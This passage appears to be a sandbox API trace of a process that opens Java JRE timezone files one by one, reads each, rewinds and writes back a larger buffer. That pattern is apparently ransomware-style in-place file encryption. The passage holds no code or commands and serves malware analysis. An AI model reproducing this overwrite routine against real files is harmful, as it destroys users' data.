returned 0x0 [0052.258] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0052.258] CloseHandle (hObject=0x1cc) returned 1 [0052.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santiago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santiago"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.259] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.259] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x558 [0052.259] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.259] ReleaseMutex (hMutex=0x128) returned 1 [0052.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santiago", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0052.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Santiago", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Santiago", lpUsedDefaultChar=0x0) returned 8 [0052.259] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x558, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x304f2bc*=0x558, lpOverlapped=0x0) returned 1 [0052.261] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.261] WriteFile (in: hFile=0x1cc, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f2d0*=0xae0, lpOverlapped=0x0) returned 1 [0052.261] CloseHandle (hObject=0x1cc) returned 1 [0052.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Swift_Current" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\swift_current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.261] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.261] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xf1 [0052.261] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.261] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.262] ReleaseMutex (hMutex=0x128) returned 1 [0052.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Swift_Current", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Swift_Current", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Swift_Current", lpUsedDefaultChar=0x0) returned 13 [0052.262] ReadFile (in: hFile=0x1cc, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xf1, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x304f2bc*=0xf1, lpOverlapped=0x0) returned 1 [0052.262] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.262] WriteFile (in: hFile=0x1cc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x679, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x679, lpOverlapped=0x0) returned 1 [0052.263] CloseHandle (hObject=0x1cc) returned 1 [0052.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yakutat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\yakutat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0052.263] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.263] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4c4 [0052.263] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0052.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.263] ReleaseMutex (hMutex=0x128) returned 1 [0052.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yakutat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yakutat", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Yakutat", lpUsedDefaultChar=0x0) returned 7 [0052.263] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x304f2bc*=0x4c4, lpOverlapped=0x0) returned 1 [0052.568] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0052.570] WriteFile (in: hFile=0x1cc, lpBuffer=0x26146a8*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26146a8*, lpNumberOfBytesWritten=0x304f2d0*=0xa4c, lpOverlapped=0x0) returned 1 [0052.577] CloseHandle (hObject=0x1cc) returned 1 [0052.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\syowa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.581] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.581] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x41 [0053.581] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.581] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.581] ReleaseMutex (hMutex=0x128) returned 1 [0053.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Syowa", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Syowa", cchWideChar=5, lpMultiByteStr=0x1e6a90c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Syowa", lpUsedDefaultChar=0x0) returned 5 [0053.581] ReadFile (in: hFile=0x1bc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x304f2bc*=0x41, lpOverlapped=0x0) returned 1 [0053.582] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.582] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0053.582] CloseHandle (hObject=0x1bc) returned 1 [0053.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Bahrain" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\bahrain"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.583] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.583] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4d [0053.583] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.583] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.583] ReleaseMutex (hMutex=0x128) returned 1 [0053.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahrain", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahrain", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bahrain", lpUsedDefaultChar=0x0) returned 7 [0053.583] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e8f408, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f408*, lpNumberOfBytesRead=0x304f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0053.584] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.584] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0053.584] CloseHandle (hObject=0x1bc) returned 1 [0053.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dhaka" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dhaka"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.585] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.585] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x79 [0053.585] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.585] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.585] ReleaseMutex (hMutex=0x128) returned 1 [0053.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dhaka", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0053.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dhaka", cchWideChar=5, lpMultiByteStr=0x1e6a90c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dhaka", lpUsedDefaultChar=0x0) returned 5 [0053.585] ReadFile (in: hFile=0x1bc, lpBuffer=0x251e060, nNumberOfBytesToRead=0x79, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x251e060*, lpNumberOfBytesRead=0x304f2bc*=0x79, lpOverlapped=0x0) returned 1 [0053.586] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.586] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x601, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x601, lpOverlapped=0x0) returned 1 [0053.586] CloseHandle (hObject=0x1bc) returned 1 [0053.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\irkutsk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.587] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.587] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x245 [0053.587] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.587] ReleaseMutex (hMutex=0x128) returned 1 [0053.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Irkutsk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Irkutsk", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Irkutsk", lpUsedDefaultChar=0x0) returned 7 [0053.587] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x304f2bc*=0x245, lpOverlapped=0x0) returned 1 [0053.588] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.588] WriteFile (in: hFile=0x1bc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0053.588] CloseHandle (hObject=0x1bc) returned 1 [0053.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kolkata" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kolkata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.589] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.589] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x61 [0053.589] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.589] ReleaseMutex (hMutex=0x128) returned 1 [0053.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kolkata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kolkata", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kolkata", lpUsedDefaultChar=0x0) returned 7 [0053.589] ReadFile (in: hFile=0x1bc, lpBuffer=0x1df57f8, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df57f8*, lpNumberOfBytesRead=0x304f2bc*=0x61, lpOverlapped=0x0) returned 1 [0053.590] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.590] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0053.590] CloseHandle (hObject=0x1bc) returned 1 [0053.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Nicosia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\nicosia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.590] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.591] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x45c [0053.591] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.591] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.591] ReleaseMutex (hMutex=0x128) returned 1 [0053.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nicosia", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nicosia", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nicosia", lpUsedDefaultChar=0x0) returned 7 [0053.591] ReadFile (in: hFile=0x1bc, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x304f2bc*=0x45c, lpOverlapped=0x0) returned 1 [0053.593] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.593] WriteFile (in: hFile=0x1bc, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9e4, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x9e4, lpOverlapped=0x0) returned 1 [0053.593] CloseHandle (hObject=0x1bc) returned 1 [0053.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Rangoon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\rangoon"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.593] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.593] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x55 [0053.593] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.594] ReleaseMutex (hMutex=0x128) returned 1 [0053.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rangoon", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.594] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rangoon", cchWideChar=7, lpMultiByteStr=0x1e6a90c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rangoon", lpUsedDefaultChar=0x0) returned 7 [0053.594] ReadFile (in: hFile=0x1bc, lpBuffer=0x1ea3e50, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3e50*, lpNumberOfBytesRead=0x304f2bc*=0x55, lpOverlapped=0x0) returned 1 [0053.594] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.594] WriteFile (in: hFile=0x1bc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x304f2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0053.595] CloseHandle (hObject=0x1bc) returned 1 [0053.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\taipei"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.595] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.595] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x17d [0053.595] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.595] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.595] ReleaseMutex (hMutex=0x128) returned 1 [0053.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Taipei", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Taipei", cchWideChar=6, lpMultiByteStr=0x1e6a90c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Taipei", lpUsedDefaultChar=0x0) returned 6 [0053.595] ReadFile (in: hFile=0x1bc, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x17d, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x17d, lpOverlapped=0x0) returned 1 [0053.596] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: 